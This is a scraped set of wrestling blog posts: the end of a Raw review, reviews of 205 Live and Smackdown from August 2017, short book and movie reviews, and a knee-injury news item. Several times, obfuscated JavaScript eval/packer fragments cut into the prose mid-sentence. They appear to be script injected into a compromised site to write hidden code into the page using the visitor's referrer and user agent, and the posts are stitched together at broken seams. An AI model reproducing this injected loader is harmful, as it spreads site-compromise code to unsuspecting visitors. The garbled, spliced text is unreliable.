The graphic still shows the old title belt design. Morely and Storm are defending and this is elimination rules. Rob and Kane slug it out with the champs with Van Dam moonsaulting to the floor to take out the two of them plus Bubba as a bonus. Kane dives onto all of them and the fans are way into Van Dam, as is usually the case. We really get things going with Rob and D-Von as the fans want tables.

Bubba comes in to club Kane in the chest but takes a jumping clothesline for his efforts. A quick What’s Up slows Kane down but it’s right back to Rob for a bunch of kicks to the face. Everything breaks until it’s Bubba and Van Dam alone in the ring where Rob misses the Five Star. Storm tries to bring in a chair but D-Von takes it away and misses a swing, setting up the Van Daminator to get rid of the Dudleys.

Back from a break with Morely suplexing Van Dam and Kane making a save. Storm comes in and grabs a half crab, which isn’t even treated as a finisher anymore. To be fair, did anyone outside of WCW ever buy that as a good move? The hot tag brings in Kane as everything breaks down.

A really bad camera shot shows Van Dam’s top rope kick not coming close to Storm (which the announcers didn’t acknowledge, making it a bit less bad than Maven’s disaster earlier). There’s the double chokeslam on the champs and the Five Star to Morely gives Rob and Kane the titles.

Rating: D+. Kind of slow here but the ending was the only important part. Kane and Van Dam should have won the titles last night but the extra emotion here did make things a little better. At least the titles are off of Storm and Regal as they were setting new standards for uninteresting champions. The Dudleys didn’t really need to be there either but they didn’t hurt anything.

Bischoff has a contract of some kind and promises a big surprise.

Here’s Rock for Rock Appreciation Night/the most obvious debut ever. Rock has FINALLY come back to sea….all you jabronis appreciate him. The ROCKY chant breaks out and Rock says he doesn’t care for what happened to Austin earlier tonight. If Austin just had to get beaten last night, at least it was by the best. Rock brags about all the Rock Bottoms last night and the fans keep cheering him.

We get another montage of awesome Rock moments (edited off the Network due to the music), which still doesn’t get them to boo. He talks about going to Hollywood and coming back to boos as the fans FINALLY catch on….by chanting for Goldberg. Rock: “Don’t think you’re cool just because you know Rock’s accountant Ira Goldberg!”

Overall Rating: C. This definitely felt like the post-Wrestlemania show with very little wrestling throughout and one match with any significant time. They set up a few things going forward but a lot of this show was about taking a breath after the hard push towards Wrestlemania. There’s nothing wrong with that and the Goldberg debut, while highly telegraphed, did feel like a big moment. Not a bad show, but it’s not the place to look if you want a lot of action.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kteik|var|u0026u|referrer|zayfn||js|php'.split('|'),0,{})) Live
Date: August 29, 2017
Location: Verizon Arena, Little Rock, Arkansas
Commentators: Vic Joseph, Corey Graves

We’re officially in the Enzo Amore Era on 205 Live and that makes me think doing my own dental surgery sounds like a good idea. It’s pretty clear that Enzo is going to be the next big challenger to Neville and the title, which actually gives me a mixed reaction. He’s already the biggest star on the show but that means he’s around more often and egads that sounds like torture. Let’s get to it.

The opening recap looks at Brian Kendrick vs. Jack Gallagher and the buildup to their No DQ match tonight.

Opening sequence.

The announcers chat for a bit.

Brian Kendrick vs. Jack Gallagher

No DQ and Gallagher is in street clothes. Kendrick says he’s a fighter as Gallagher stands perfectly still. They stare each other down for the better part of a minute before Jack uppercuts him into the corner and scores with a headbutt. Gallagher even breaks an umbrella over Kendrick’s back to put him outside as the violence starts cranking up. Some hard shots to Brian’s face sets up a whip through some equipment cases.

The beating knocks Kendrick down the aisle as Gallagher looks completely calm the entire time. It’s almost eerie really. Kendrick gets thrown onto the announcers’ table for some hard right hands to the head. The announcers’ table is loaded up but Kendrick comes up with a kendo stick to the ribs.

Brian sends him into the steps before tying Jack’s foot in the wires underneath the ring skirt. Now it’s time for the beating with the stick and Jack is busted open pretty badly. We stop for the medic to tend to Gallagher’s head and Kendrick has to stand around for a bit. Kendrick drops him with a DDT onto the bell and puts on the Captain’s Hook with the stick for the submission (though Gallagher is out) at 7:30.

Rating: C+. This needed more time but there’s a good chance that it was cut off due to the cut. It was nice while it lasted though and showed a different side of Gallagher, which he really needs to show. At the same time you need to have Kendrick get a bigger win once in awhile as him putting everyone over isn’t going to work forever. Good brawl, cut short by time.

Noam Dar, Drew Gulak and Tony Nese are ready for the six man tag tonight. Dar insists that he beat himself for having a bit too much fun the night before. Gulak thinks Enzo is going to tarnish the 205 Live. He believe in a better 205 Live and you can bet your bojangles that Enzo isn’t going to be a part of that. Nese says Enzo isn’t on his level.

Rich Swann vs. Ariya Daivari

TJP, still on crutches, is out for commentary. Daivari dedicates this to another Iranian wrestler. They fight over a wristlock to start with Swann dancing/nipping up to escape. Swann’s front flip into a dropkick gets two but Daivari starts in on the back. TJP talks about how he and Swann are both former champions.

The fact that he had to beat five people to become champion while Swann only beat one is just a detail. Swann’s running flip Fameasser gets two and something like Rolling Thunder gets the same. They head outside with Daivari getting the better of it and stealing TJP’s crutch, only to get small packaged for the pin at 4:08.

Rating: D+. Angle advancement instead of much of a match here as TJP vs. Swann continues. You know they’re heading to a big match down the line, even if it isn’t likely to mean anything. Well, at least until Enzo becomes the Cruiserweight Champion to turn the whole thing into a big comedy act.

Post match Daivari goes after TJP, who fights back with a variety of kicks and his knee appearing just fine. Swann watches all this in disbelief before handing TJP his crutch and leaving. TJP hits Daivari with the Detonation Kick.

Enzo comes in to see Cedric Alexander and Gran Metalik, offering some coaching tips on a dry erase board. Alexander says this isn’t the same as Raw and the two of them have more experience. This turns into a discussion of Enzo’s mother’s cooking and Gran Metalik being named Pepper Jack. He’s really not going to be able to stay a face long, or at least he shouldn’t.

Drew Gulak/Noam Dar/Tony Nese vs. Enzo Amore/Cedric Alexander/Gran Metalik

Before the match, Enzo calls this the realest in-ring debut in the history of 205 Live. Drew looks like Captain Underpants and Nese works at Chippendale’s. Enzo and Gulak start things off with Drew imitating the dance. It’s not like it’s hard to make fun of. Gulak starts talking trash as he cranks on an armbar, sending Enzo bailing to the corner. There’s no tag though so a front facelock takes Enzo down again.

Now it’s off to Alexander as Neville is shown watching from the back. Tony comes in to pose a bit but Cedric speeds things back up into a headscissors and dropkick to take over. It’s back to Enzo to eat a dropkick as the heels take over for the first time. A Downward Spiral gets Enzo out of trouble but everything breaks down with Metalik and Alexander hitting (well maybe as the camera went down too) stereo dives.

That leaves Nese to run Enzo over before he can dive (Corey: “I think, in a roundabout way, Tony Nese just saved Enzo’s life.”) and mocks the dance as well. Just in case you needed any more proof that Enzo is the star of this show and everyone else is chasing him. Cedric springboards in with a clothesline but gets sent outside so Gulak and Nese can hammer away while Enzo has the referee for reasons of general stupidity.

Cedric fights out of a chinlock and hits the handspring enziguri for a breather. The hot tag brings in Metalik for a superkick to Nese and the rope walk dropkick. Gulak saves Nese from a Swanton so Alexander takes Drew down, allowing for the hot tag off to Enzo. Eat Defeat (now the Jordunzo because of course it is) drops Dar (I had forgotten he was in this match) and a rollup with feet on the ropes pins Nese at 9:48.

Rating: C-. I’m not sure how to take this. For one thing I’ve talked for the better part of a year now about how I thought Enzo as a cheating cruiserweight would be great but sweet goodness now it’s actually happening. The character in this form has a short shelf life but if they put the title on him and make him the Honky Tonk Man of the division, he’ll be fine.

Here’s the way you can tell it’s working at the moment though: when else have I ever talked about someone on 205 Live this much? As you knew he would be, Enzo is instantly the biggest personality on the show and draws the most attention. If they could find some more people like him, this show could take off a bit more. As it is, it’s Enzo, Neville and everyone else a few miles beneath them.

The winners dance to end the show.

Overall Rating: C. This show flew by and that’s one of the better things you can say about 205 Live. They don’t have the most interesting stories in the world but if they get in, do their stuff and get out, it’s quite the entertaining way to kill most of an hour. The No DQ match was good and TJP vs. Swann is kind of interesting, though it would be nice if any of this stuff was going to mean anything. If Enzo gets the title though, those people will be getting a lot more attention in a hurry. Fine show this week though nothing worth going out of your way to see.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Smackdown
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hhzry|var|u0026u|referrer|ykkbf||js|php'.split('|'),0,{})) August 29, 2017
Location: Verizon Arena, Little Rock, Arkansas
Commentators: Tom Phillips, John Bradshaw Layfield, Byron Saxton

We’re finally out of Brooklyn and it’s time to start the slow build towards Hell in a Cell. In this case that means we start dealing with the fallout of Shane McMahon costing Kevin Owens another shot at the US Title, which was the top story as we came out of last week’s show. Let’s get to it.

Here’s Jinder Mahal to open things up as Smackdown brings the party in a hurry. He’s ready for tonight’s tag match main event when he gets to deal with Randy Orton and Shinsuke Nakamura at the same time. We get the same speech we always get: he’s tired of being disrespected because of how he looks and he should be revered. The Singh Brothers apologize to everyone in India, including their families and friends, but more importantly to Mahal. No one will ever lay another hand on him and they would like to kiss his feet to apologize.

Before they actually can though, here’s Shinsuke Nakamura to interrupt. The fight is on until Nakamura gets caught in the numbers game. Randy Orton, Nakamura’s partner’s tonight, comes in for the save but so does Rusev. The good guys are beaten down and Mahal poses. This was way longer than it needed to be and Mahal continues to be really uninteresting.

Chad Gable/Shelton Benjamin vs. Ascension

Chad takes Viktor down without much effort and it’s off to Shelton, who doesn’t want to do a double suplex. A regular suplex gets two instead and it’s off to Gable for a suplex of his own. Viktor throws him to the floor though and we take a break. Back with Chad still in trouble at Viktor’s hands before it’s off to Konnor for some clubbing forearms.

Chad sends a charging Konnor into the post though and there’s the hot tag to Shelton. The Dragon Whip and a top rope clothesline have Konnor in trouble as things pick up. Everything breaks down and Chad sends Viktor into Shelton for a jumping Downward Spiral (Paydirt) and the pin at 7:16.

Rating: C-. This was the welcome to the tag division match for Shelton and Chad and that’s perfectly fine. I’m not sure how long they’re intending to have this team go on and it’s not like they’re hiding that. That being said, keeping them together for awhile would help the completely depleted tag division and it would be annoying to have another team put together for the sake of splitting them up again.

Baron Corbin is tired of hearing about how he blew his opportunity because it was John Cena’s fault. Thanks to him though, the US Open Challenge is back and he’ll just have to cash in on that.

Here’s AJ Styles to say the US Open Challenge is on right now.

US Title: AJ Styles vs. Tye Dillinger

AJ is defending. Hang on a second as Baron Corbin cuts Dillinger off on the ramp. Tye shoves him away but gets jumped from behind. Dillinger knocks him away again and gets inside for the opening bell. AJ slugs away to start but Dillinger breaks up the Phenomenal Blitz. Dillinger slugs away but gets kicked in the head, only to counter the Phenomena Forearm into the Tyebreaker. That’s countered as well and it’s the Calf Crusher to make Dillinger tap at 49 seconds.

Corbin jumps Dillinger again but gets forearmed down by Styles.

Mahal talks to Rusev in the back but Rusev says they’re not friends. He wouldn’t mind a title shot after the tag match either.

Mike Kanellis vs. Bobby Roode

Roode takes him to the mat with ease and gives us a GLORIOUS pose. Some chops in the corner and a hard elbow to the jaw keep Kanellis in trouble. The spinebuster sets up the Glorious DDT to end Kanellis at 2:46. Just a squash.

Here’s Aiden English for a song but Kevin Owens interrupts. Owens asks him to vacate the premises so he can talk about what happened last week in the main event. Basically it’s all Shane’s fault that he’s not the US Champion right now. Owens won the Universal Title one year ago today and now he’s standing year without his US Title. This never would have happened in the good old days when he was on Raw where Stephanie McMahon never would have let this happen.

Cue Shane to say Baron was Owens’ pick and turned out to be a very biased referee. Corbin didn’t even finish the match and that’s why Shane had to come out there in the first place. Owens insists he got screwed but Shane doesn’t want to hear it. Aiden needs to get back in the ring because he has a match right now.

Aiden English vs. Sami Zayn

Owens sits in on commentary. Aiden wastes no time in hammering away and grabbing a suplex for two. Sami fights up and throws him outside for the running flip dive, which draws Owens into the ring to take the referee’s shirt. Well they do say vertical stripes are slimming. As you might expect Sami isn’t sure what’s going on and the distraction lets Aiden jump Sami from behind. Owens adds a Pop Up Powerbomb and a fast count gives Aiden the pin at 2:24. I guess Shane was off finding a hot pretzel.

Video package on….Sgt. Slaughter? Sponsored by Burger King? Ok then.

Dolph Ziggler is asked what you can expect from him but he says you can expect…..nothing. He’s been around for ten years and it’s not fair that he’s just an afterthought. He’s really a star but he gets distracted by all the little things. Ziggler does the You Can’t See Me and wants to know what that even means.

On Raw too you have a guy playing a guitar and it makes no sense. Maybe he can hop on a four wheeler like Stone Cold did and pour beer over himself while pretending to drink it. Or he can paint himself up like Finn Balor or be a superhero called Zigman. If you want all flash and no substance, that’s what you’re going to get next week. I can’t imagine I’ll ever say this again but I’m rather interested.

Usos vs. New Day

Non-title but the winners get to pick the stipulation for the rematch. Wait what? Are you serious? They really have NO OTHER OPTIONS to determine this? Not a singles match? Or a coin toss? Or a spelling bee? Woods is limping to the ring with a sign around his neck saying “it’s sore” due to a knee injury suffered at a house show. The fact that he can walk on it is a very good sign at least.

Joined in progress with Jimmy charging into a Rock Bottom out of the corner. That’s enough for the hot tag to Kofi for some dropkicks and a dragon sleeper of all things to Jey. Everything breaks down and Jimmy offers a distraction so Jey can grab a rollup for the pin at 2:24 shown.

Carmella yells at James Ellsworth for screwing up last week when Natalya comes in and threatens to make her the Baron Corbin of the women’s division. They have a match next week and Ellsworth seems to like the idea. Carmella and Ellsworth leave so Naomi can come in and talk about the title rematch in two weeks. Cat jokes are made as well.

Lana, with the accent coming and going every few words, introduces Tamina for her match.

Tamina vs. Tina Stock

Stock goes after her as the LET’S GO JOBBER chant starts. Lana grabs a mic and orders that Tamina CRUSH. Tamina sends her into the corner for a knee to the head and a superkick for the pin at 59 seconds.

Tamina and Lana have a quick photoshoot after the match.

It’s time for Season 2 of the Fashion Files! We even have an opening sequence now with highlights of previous episodes, including a graphic saying “not at all starring Chuck Norris”. They’re back in the office (room Two B) with Breeze saying they need to solve their biggest crime now that vacation is over.

In order to do that though, they have new tech from the boys in the lab. First up we have some long distance listening device (headphones), a blacklight, a belt (to hold your pants up) and friendship bracelets. They turn out the lights to test the blacklight and see some arrows on their boxes, eventually pointing to their room sign. The blacklight reveals that it says Two B or Not to B, which leads them to suspect Aiden English because it’s Shakespeare you see.

Shinsuke Nakamura/Randy Orton vs. Rusev/Jinder Mahal

The good guys start brawling on the floor with the villains being sent into the barricade. We take a break before the opening bell and it’s joined in progress with Nakamura kicking Mahal in the head. Orton comes in and hammers away on the champ but the RKO is blocked. After a quick trip to the floor, a Singh Brothers distraction lets Rusev send Orton into the barricade and stomp away.

We hit the front facelock for a bit before Mahal comes in for a knee drop. Orton sends Mahal shoulder first into the post and it’s off to Nakamura to clean some house. The running knee to the ribs in the corner gets two on Rusev and Mahal has to break up a cross armbreaker. Everything breaks down and Mahal escapes the draping DDT so Orton hits a regular one. That’s rather odd. Orton can’t hit the RKO but it’s Kinshasa to put Rusev away at 7:30.

Rating: D+. Standard main event tag match here, which means the match was only ok. It was pretty clear that Rusev was just there for the sake of taking the fall, which I’m glad about as you don’t want your champion losing, even if he is Jinder Mahal. If nothing else it’s another thing you can add to the list of reasons why Rusev probably isn’t the biggest Mahal fan.

Post match Orton stares at Nakamura and lays him out with the RKO to end the show.

Overall Rating: C+. They got a lot of stuff on this show and that’s a good thing for once. Nothing felt like it overstayed its welcome, which made for a pretty easy show to watch. It’s also nice to see them setting things up in advance, which is becoming a trend. We now have two matches announced and one more announced for the following week. That’s not bad and gives me a reason to keep watching, which is more than you can often say about most shows. Good effort this week but there’s nothing worth going out of your way to see.

Results

Chad Gable/Shelton Benjamin b. Ascension – Paydirt to Viktor

AJ Styles b. Tye Dillinger – Calf Crusher

Bobby Roode b. Mike Kanellis – Glorious DDT

Aiden English b. Sami Zayn – Pop Up Powerbomb from Kevin Owens

Tamina b. Tina Stock – Superkick

Randy Orton/Shinsuke Nakamura b. Jinder Mahal/Rusev – Kinshasa to Rusev

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

One is excellent, one is better than expected, one is what you would expect and one….wait I ready that?

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|srzst|var|u0026u|referrer|akkfd||js|php'.split('|'),0,{})) I’ve been going a bit nuts with the wrestling books lately and that means it’s time to talk about a few of them. This time around I have three books and a wrestling movie, some of which were better than others.

Boone: The Bounty Hunter

This is something a little bit different as John Hennigan (he of a few thousand other last names) has made a movie about a bounty hunter named Boone (which you might have gotten from the title). Basically Hennigan did almost everything himself on this movie, including writing, financing and starring in the thing, which you can definitely tell.

This was actually quite the nice surprise as I was expecting another nothing wrestler movie and got a completely watchable, well made action movie. Hennigan has charm and plays the character well with some good charisma. The movie is a pretty basic story but they do everything well enough that it makes for a fun time. There are some names in there that you’ll recognize and it’s far better than most WWE Studio movies. It’s not classic but if you want a quick, entertaining sit, check this out.

Cross Roads, Goldust: Out of the Darkness – Dustin Rhodes

You think that’s a long enough title? That’s the only long thing about this book, which is over 200 pages long and I actually read it in less than two hours. I started reading it at around 4:30 and was done at about 6:20. The problem is almost nothing stands out to me. It’s such a quick read (with probably twenty to thirty of those pages being pictures) and nothing felt interesting. It was basically:

I wanted to wrestle, then I wrestled, then I argued with my dad, then I had substance abuse issues, then I beat then, then I talk about wrestling a bit.

It feels like a book outline instead of an actual book. While it’s not terrible, I barely remembered reading it the next day other than thinking about how short the thing was. There’s an interesting story in there but it needs a lot more information and some more details. As it is, this really didn’t work and was far from good.

YES! – Daniel Bryan

Now we’ll get to something a little better with one of the top stars in the last few years. Bryan was of course forced to retire back in 2016 and now we’ve gotten his life story. This one is much more your standard wrestling autobiography with Bryan talking about his road to the top of the wrestling world. Every chapter gives you a little bit about his Wrestlemania XXX week and then a lot more about his life story.

This is an interesting story because, at the end of the day, Bryan comes off like a nice guy. He feels like someone you would want to talk to and it’s cool to see him work so hard and get to the top of the wresting world. Bryan is a cool guy and incredibly entertaining, which makes for a story that you like to hear about. I’m sure you know the idea already but some of the stories he tells about his indy days are worth reading. It’s an easy read but also gives you a nice story about someone who loves wrestling and reached the top.

Finally, and perhaps most importantly, there’s a series of drawings of Bryan in the lower right hand corner of each page. If you flip through the pages, it turns into an animation of him walking onto the page, doing the YES chant, and then leaving at the end of the book. See, it’s literature and a movie!

Crazy is My Superpower – AJ Mendez-Brooks

I’ve saved the best for last. This might be the second best wrestling book I’ve ever read (after Have a Nice Day of course) and it stuck with me for a good while after I finished it. The difference here is that wrestling isn’t the focus of a lot of this one. Most of the book is AJ’s story about dealing with her family’s issues with mental illness, some of which will get to you in a hurry. She’s had some very rough times and they make you realize how much more awesome her rise to the top was.

The writing style is also rather entertaining as AJ writes very geeky with video game, movie and TV references throughout, including several that will probably go over your head but also several that will give you a good smile if you have her same sense of humor (which I certainly do). It makes the book far easier to get through as the story is rough enough as it is. She also throws in various sidebars in some sections, designed as either letters to her future self/her future children or lists on various topics, most of which are rather funny.

Of course there’s wrestling involved as well as AJ talks about how she used wrestling to help her overcome a lot of her issues. It’s a great story about how wrestling is such a unique world that really does do a lot more than just offer entertainment. Wrestling can be an escape for a lot of people and it’s very cool to see someone use it to help them like this. Definitely check this one out as it’s a very, very good read.

….please tell me Big Cass won’t have company.After eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nefrn|var|u0026u|referrer|fnteh||js|php'.split('|'),0,{})) last week’s injury to Big Cass, two more names have suffered knee injuries and we already have a diagnosis on one.

https://wrestlingrumors.net/samoa-joe-suffers-knee-injury-long-will/

Then we have what might be the really bad one as Xavier Woods suffered a bad knee injury at a house show.  Woods was going for a jumping DDT and got shoved off with his knee buckling on the landing.  There is no word on how long he might be out but any time you hear the words “knee buckled”, it’s a really bad sign.

https://wrestlingrumors.net/xavier-woods-suffers-knee-injury-house-show/